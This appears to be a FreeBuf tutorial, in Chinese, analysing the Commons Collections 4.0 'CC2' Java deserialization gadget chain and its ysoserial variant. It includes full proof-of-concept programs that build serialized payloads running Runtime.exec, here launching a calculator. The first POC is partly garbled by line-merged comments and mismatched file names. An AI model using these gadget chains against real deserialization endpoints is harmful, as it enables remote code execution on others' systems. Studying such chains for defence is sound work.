freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JAVA安全-cc2分析(进阶篇)
2024-12-31 19:01:31
所属地 山西省

前言

本篇文章分析国内的cc2和yso-cc2,较cc1,难度明显有提升,需要有前置学习一些知识。

以下为本篇文章新涉及的类以及组件,只做文章涉及的方法介绍,剩下的细节需要大家下来进行深度学习 。

  • classloder
  • javassist
  • TemplatesImpl
  • TransformingComparator
  • PriorityQueue

前置知识

classloder

ClassLoader是类加载器,其具有方法defineClass能够获取字节码文件将其还原成class对象。

案例

package com.prophet;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class SerializeTest {

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, InstantiationException, CannotCompileException, IOException, NoSuchMethodException {

        ClassPool pool2=ClassPool.getDefault();

        //创建新类Exp2
        CtClass ct=pool2.makeClass("target.com.prophet.People2");

        //创建构造函数
        CtConstructor cons=ct.makeClassInitializer();
        //向构造函数插入字节码
        cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
        ct.writeFile("./");

        //生成字节码
        byte[] bt=ct.toBytecode();

        //通过反射调用ClassLoader#defineClass
        Method define=ClassLoader.class.getDeclaredMethod("defineClass", String.class ,byte[].class, int.class, int.class);
        define.setAccessible(true);
        Class cla=(Class)define.invoke(ClassLoader.getSystemClassLoader(),"target.com.prophet.People2",bt,0,bt.length);
        cla.newInstance();
    }
}

1735640482_6773c5a2abc8c8cd76011.png!small?1735640481559

javassist

Javassist(Java编程助手)使Java字节码操作变得简单。它是一个用于在Java中编辑字节码的类库;它使Java程序能够在运行时定义一个新类,并在JVM加载时修改类文件。与其他类似的字节码编辑器不同,Javassist提供了两级API:源代码级和字节码级。如果用户使用源代码级API,他们可以在不知道Java字节码规范的情况下编辑类文件。整个API仅使用Java语言的词汇表设计。您甚至可以以源文本的形式指定插入的字节码;Javassist实时编译。另一方面,字节码级API允许用户像其他编辑器一样直接编辑类文件。

ClassPool

常用方法描述
getDefault()返回默认的类池(默认的类池搜索系统搜索路径,通常包括平台库、扩展库以及由-classpath选项或CLASSPATH环境变量指定的搜索路径)
insertClassPath(java.lang.String pathname)在搜索路径的开头插入目录或jar(或zip)文件
insertClassPath(ClassPath cp)在搜索路径的开头插入类对象,当用户系统存在多个类加载器,默认加载getDefault()搜索不到加载类可使用该方法添加路径
getClassLoader()获得类加载器
get(java.lang.String classname)从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用
getOrNull(java.lang.String classname)从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用,未找到该文件返回null,不抛出异常
appendClassPath(ClassPath cp)将ClassPath对象附加到搜索路径的末尾
makeClass(java.lang.String classname)创建一个新的public类

CtClass

常用方法描述
setSuperclass(CtClass clazz)添加父类
setInterfaces添加父类接口
toClass(java.lang.invoke.MethodHandles.Lookup lookup)将此类转换为java.lang.Class对象
toBytecode()将该类转换为类文件,对象类型为byte[]
writeFile()将由此CtClass 对象表示的类文件写入当前目录
writeFile(java.lang.String directoryName)将由此CtClass 对象表示的类文件写入本地磁盘
makeClassInitializer()制作一个空的类初始化程序(静态构造函数),对象类型为CtConstructor
detach将CtClass对象从ClassPool池中删除
freeze冻结一个类,使其变为不可修改状态
isfreeze判断该类是否存于冻结状态
prune删除类不必要的属性,减少内存占用
deforst解冻一个类,使其变为可修改状态
addField添加字段
addMethod添加方法
addConstructor添加构造器
addInterface添加接口

CtMethods

常用方法描述
insertBefore在方法起始位置插入代码
insterAfter在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到exception
insertAt在指定位置插入代码
setBody将方法的内容设置为要写入的代码,当方法被 abstract修饰时,该修饰符被移除
make创建一个方法
addParameter添加参数
setName设置方法名

案例

package com.prophet.javassist;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.Modifier;

import java.lang.reflect.Method;

public class test {
    //1.添加main方法
    public static void main(String[] args) throws Exception {
        //创建classPool类对象池
        ClassPool classPool = ClassPool.getDefault();
        //通过classPool类对象池创建一个Student类
        CtClass student_ctClass = classPool.makeClass("target.com.test.javassist.Student");
        //添加方法:参数1:方法的返回值类型你,参数2:方法名,参数3:方法的参数类型,参数4:方法所属的类
        CtMethod mainMethod = new CtMethod(CtClass.voidType , "main" , new CtClass[]{classPool.get(String[].class.getName())},student_ctClass);
        //设置main方法的访问修饰符
        mainMethod.setModifiers(Modifier.PUBLIC + Modifier.STATIC);
        //设置方法体
        mainMethod.setBody("{System.out.println(\"hello world\");}");
        //添加方法
        student_ctClass.addMethod(mainMethod);
        //输出类的内容
        student_ctClass.writeFile();

        //实例化Student对象
        Class aClass = student_ctClass.toClass();
        Object obj = aClass.newInstance();
        //反射调用Student对象的main方法
        Method main_method = aClass.getDeclaredMethod("main" , String[].class);
        main_method.invoke(obj, (Object) new String[1]);
    }
}

1735640235_6773c4abe6c36ccaf49d9.png!small?1735640234658

TemplatesImpl

1735640678_6773c6661d6bad2b0d1c4.png!small?1735640676967

1735642400_6773cd206091ebae99e22.png!small?1735642399002

可以看到defineTransletClasses方法调用defineClass对_bytecodes进行还原为class文件,但在前面有两个条件 _bytecodes不为空和_tfactory得进行实例化TransformerFactoryImpl,这里的bytecodes是一个二维数组,所有当我们想利用javassist生成字节码文件时需要将其转化成二维。


1735641824_6773cae06263712461a0f.png!small?1735641823124

getTransletInstance方法上级调用,但也有条件限制,_class和_name不为空。


1735642022_6773cba64f6e02da467d2.png!small?1735642021133

newTransformer上级调用,没有限制

1735642150_6773cc26835bf30caa1f8.png!small?1735642149200

同理,在上级调用getOutputProperties方法调用。

利用链

getOutputProperties()
newTransformer()
getTransletInstance()
defineTransletClasses()
defineClass()

案例

public static void main(String[] args) throws Exception {
        //创建CtClass对象容器
        ClassPool pool2=ClassPool.getDefault();
        //pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        //创建新类Exp2
        CtClass ct=pool2.makeClass("People2");
        //设置People2类的父类为AbstractTranslet,满足实例化条件
        ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
        //创建构造函数
        CtConstructor cons=ct.makeClassInitializer();
        //向构造函数插入字节码
        cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
        //javassist转换字节码并转化为二位数组
        byte[] bytecode=ct.toBytecode();
        byte[][] bytecodes=new byte[][]{bytecode};
        //实例化TemplatesImpl对象
        TemplatesImpl templates=TemplatesImpl.class.newInstance();
        //设置满足条件属性_bytecodes为恶意构造字节码
        setFieldValue(templates,"_bytecodes",bytecodes);
        //设置满足条件属性_class为空
        setFieldValue(templates,"_class",null);
        //设置满足条件属性_name不为空,任意赋值都行
        setFieldValue(templates,"_name","test");
        //设置满足条件属性_tfactory实例化,效果等同于new TransformerFactoryImpl()
        setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());
        //执行newTransformer()方法
        templates.newTransformer();
        //执行getOutputProperties(),getOutputProperties为newTransformer上层调用,执行效果相同,就是多了个执行步骤
        templates.getOutputProperties();
}
    //通过反射给对象属性赋值,避免代码冗余繁琐
    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

PriorityQueue

PriorityQueue队列常用方法:

  • add():添加数组元素,添加失败会抛出异常。

  • offer():添加数组元素,添加失败会返回false。

  • poll():取出队顶数组元素,并删除该元素,失败会抛出异常。

  • peek():查询队顶数组元素,但不删除该元素。

  • remove(): 取出队顶数组元素,并删除该元素,失败会返回null。

PriorityQueue队列实现用法:

  • PriorityQueue queue=new PriorityQueue<>(); //默认优先级队列,规则从小到大

  • PriorityQueue queue=new PriorityQueue<>( (a,b)->(b-a)); //设置比较器,从大到小排列

案例

package com.prophet;

import java.io.*;
import java.net.URISyntaxException;
import java.util.PriorityQueue;

public class SerializeTest {

    public static void main(String[] args) {
        PriorityQueue queue = new PriorityQueue<>();
        //创建一个默认排序队列
        queue.add(1);
        queue.add(3);
        queue.add(2);
        //从上往下三个数依次入队列
        System.out.print("默认排序输出:");
        for (int i = 1; i < 4; i++) {
            System.out.print(queue.poll());
        }
        //依次出队列,进行输出

        System.out.println(" ");

        PriorityQueue<Integer> queue1 = new PriorityQueue<>( (a,b)->(b-a));
        //创建一个从大到小排序的队列
        queue1.add(1);
        queue1.add(3);
        queue1.add(2);
        //从上往下三个数依次入队列
        System.out.print("设置比较器输出:");
        for (int i = 1; i < 4; i++) {
            System.out.print(queue1.poll());
        }
        //依次出队列,进行输出
    }
}

1735642571_6773cdcb298f7ce287825.png!small?1735642569804

环境准备

这里的cc组件切换到了4.0版本,另外新引入了javassist组件依赖(用于yso-cc2)。

<dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>
    </dependencies>

cc2

较之于cc1,我们新分析了TransformingComparator和PriorityQueue类,这里我们就解释下为什么在4.0不用AnnotationInvocationHandler作为入口类

3.2.1

1735629574_67739b0697f0cd344d1f9.png!small?1735629573605

4.0

1735629658_67739b5aa9e00a1cfa5f2.png!small?1735629657857

可以看到在4.0版本readObject方法进行了修复,所以我们只能再找其他入口类。

TransformingComparator

1735630011_67739cbbe5e0647c1a9a7.png!small?1735630010899

可以看到TransformingComparator类的compare方法执行了transform,并且这里的transformer成员属性可以通过构造方法的第一个参数设置,修饰符为public,可以外部调用。


那么我们现在就需要找寻哪里执行 compare方法。

1735630482_67739e92e32a04fe9d133.png!small?1735630481922

可以看到PriorityQueue类中的siftUpUsingComparator和siftDownUsingComparator方法内部调用了compare方法。

demo(第一部分)

package com.prophet.cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class demo1 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                //获取Runtime类对象
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                //反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                //反射调用exec方法,并执行该方法
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
        //参数任意,因为执行第一个ConstantTransformer的transformer方法不需要管参数
        comparator.compare(2, 1);
    }
}

1735635259_6773b13b47963c4d9dcf5.png!small?1735635258180

可以看到执行了两次命令,因为compare执行了两次transform。

PriorityQueue

1735635759_6773b32f57c057135c266.png!small?1735635758116

siftDownUsingComparator

1735634201_6773ad19223b424c622b6.png!small?1735634199926

查看上级调用


siftDown

1735634261_6773ad5597efdc6f318e7.png!small?1735634260406

1735634334_6773ad9e1ad740ec5e829.png!small?1735634332912

可以看到执行siftDownUsingComparator方法,但是有个条件 comparator不为空,这里构造方法可以通过第二个参数设置,public修饰,可以外部调用。


heapify

1735634966_6773b0160797366733524.png!small?1735634964803

可以看到heapify方法中又调用了siftDown,这里有限制,就是size(队列长度)必须大于2,因为size为2时二进制为0010往右移一位变为1,再减去1变为0,刚好满足进入循环条件。


readObiect

1735635083_6773b08b43fdd6b57c5ad.png!small?1735635082136

readObject方法调用heapify方法,前面没有什么限制条件。

那么我们就知道了调用链。

ObjectInputStream.readObject()
  -PriorityQueue.readObject()
    -PriorityQueue.heapify()
      -PriorityQueue.siftDown()
        -PriorityQueue.siftDownUsingComparator()
          -TransformingComparator.compare()
            -ChainedTransformer.transform()
              -ConstantTransformer.transform()
              -InvokerTransformer.transform()
                -Method.invoke()
                  -Class.getMethod()
              -InvokerTransformer.transform()
                -Method.invoke()
                  -Runtime.getRuntime()
              -InvokerTransformer.transform()
                -Method.invoke()
                  -Runtime.exec()

POC

package com.prophet.cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.util.PriorityQueue;

public class cc2Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                //获取Runtime类对象
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                //反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                //反射调用exec方法,并执行该方法
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
       
//创新新队列 PriorityQueue queue = new PriorityQueue(comparator);
//满足size大于等于2 queue.add(new Object()); queue.add(new Object());
//反序列化流程 ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.bin")); outputStream.writeObject(queue); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("demo.bin")); inputStream.readObject(); outputStream.close(); } }

1735635888_6773b3b090510bcae4367.png!small?1735635887500

yso-cc2

经过前面javassist的学习,我们知道了调用TemplatesImpl类的getOutputProperties方法即可完成恶意字节码的还原执行命令。

这里唯一的问题就是找寻getOutputProperties方法的外部调用,因为TemplatesImpl类自身的readObject方法没有进行调用。

那么我们就可以通过InvokerTransformer提前设置方法调用,相当于在使用其transfom方法时,内部方法不通过构造函数设置。


Constructor<?> constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer invokerTransformer = (InvokerTransformer) constructor.newInstance("getOutputProperties");


下一个问题就是需要执行其transform,别忘了,可以用前面的compare方法。


TransformingComparator comparator = new TransformingComparator(invokerTransformer);

当调用其compare方法时相当于invokerTransformer.transform(),内部方法查询名称事先设置为getOutputProperties。


最后的问题就是我们传进去的一定要是事先准备好的恶意类templates。


PriorityQueue queue=new PriorityQueue();
//设置size大小,满足大于2的条件
setFieldValue(queue,"size",2);
//设置比较器
setFieldValue(queue,"comparator",comparator);
//设置传递的队列元素,需要将templates对象传入,目的调用InvokerTransformer.transform(TemplatesImpl)
Object[] list=new Object[]{templates,1};
//向PriorityQueue队列添加元素
setFieldValue(queue,"queue",list);

设置好,就大功告成了,我们动调跟踪下,看看能不能达到我们的目的。

1735638798_6773bf0e7949a76392017.png!small?1735638797316

1735638826_6773bf2a45244b67ce80d.png!small?1735638824999

完美,大功告成~~,下附POC。

POC

package com.prophet.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc2_yso {
    public static void main(String[] args) throws Exception {
        //创建CtClass对象容器
        ClassPool pool2=ClassPool.getDefault();
        //创建新类Exp2
        CtClass ct=pool2.makeClass("People2");
        //设置People2类的父类为AbstractTranslet,满足实例化条件
        ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
        //创建构造函数
        CtConstructor cons=ct.makeClassInitializer();
        //向构造函数插入字节码
        cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
        //javassist转换字节码并转化为二位数组
        byte[] bytecode=ct.toBytecode();
        byte[][] bytecodes=new byte[][]{bytecode};
        //实例化TemplatesImpl对象
        TemplatesImpl templates=TemplatesImpl.class.newInstance();
        //设置满足条件属性_bytecodes为恶意构造字节码
        setFieldValue(templates,"_bytecodes",bytecodes);
        //设置满足条件属性_class为空
        setFieldValue(templates,"_class",null);
        //设置满足条件属性_name不为空,任意赋值都行
        setFieldValue(templates,"_name","test");
        //设置满足条件属性_tfactory实例化,效果等同于new TransformerFactoryImpl()
        setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());

        Constructor<?> constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer invokerTransformer = (InvokerTransformer) constructor.newInstance("getOutputProperties");

        TransformingComparator comparator = new TransformingComparator(invokerTransformer);

        //设置优先级队列对象
        PriorityQueue queue=new PriorityQueue();
        //设置size大小,满足大于2的条件
        setFieldValue(queue,"size",2);
        //设置比较器
        setFieldValue(queue,"comparator",comparator);
        //设置传递的队列元素,需要将templates对象传入,目的调用InvokerTransformer.transform(TemplatesImpl)
        Object[] list=new Object[]{templates,1};
        //向PriorityQueue队列添加元素
        setFieldValue(queue,"queue",list);

        //最后生成序列化文件,反序列化实现命令执行
        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.bin"));
            inputStream.readObject();
            inputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    //通过反射给对象属性赋值,避免代码冗余繁琐
    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

1735638944_6773bfa04bdfe470e7039.png!small?1735638943163

# java漏洞 # java反序列化 # Java代码审计
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录